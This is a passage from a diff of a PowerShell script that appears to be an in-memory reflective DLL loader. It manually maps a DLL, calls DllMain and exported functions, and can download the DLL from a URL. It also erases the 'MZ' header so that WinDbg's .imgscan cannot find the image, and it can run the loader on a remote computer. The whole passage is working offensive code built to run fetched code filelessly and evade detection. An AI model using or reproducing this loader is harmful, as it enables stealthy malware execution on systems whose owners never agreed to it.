Update-MemoryAddresses -DllInfo $DllInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The DLL we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the DLL we are loading" + Import-DllImports -DllInfo $DllInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory protection flags for all the memory just allocated + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -DllInfo $DllInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #Call DllMain so the DLL knows it has been loaded + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($DllInfo.DllHandle, 1, [IntPtr]::Zero) | Out-Null + + return ($DllInfo.DllHandle) + } + + + Function Main + { + #Load the DLL reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $DllHandle = Invoke-MemoryLoadLibrary -DllBytes $DllBytes + if ($DllHandle -eq [IntPtr]::Zero) + { + Throw "Unable to load DLL, handle returned is NULL" + } + + + + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -DllHandle $DllHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -DllHandle $DllHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -DllHandle $DllHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + [Byte[]]$DllBytes = $null + + if ($PsCmdlet.ParameterSetName -ieq "LocalFile") + { + Get-ChildItem $DllPath -ErrorAction Stop | Out-Null + [Byte[]]$DllBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $DllPath)) + } + else + { + $WebClient = New-Object System.Net.WebClient + + [Byte[]]$DllBytes = $WebClient.DownloadData($DllUrl) + } + + #Verify the image is a valid PE file + $e_magic = ($DllBytes[0..1] | % {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'Dll is not a valid PE file.' + } + + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $DllBytes[0] = 0 + $DllBytes[1] = 0 + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($DllBytes, $FuncReturnType) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($DllBytes, $FuncReturnType) -ComputerName $ComputerName + } +} + +Main +}
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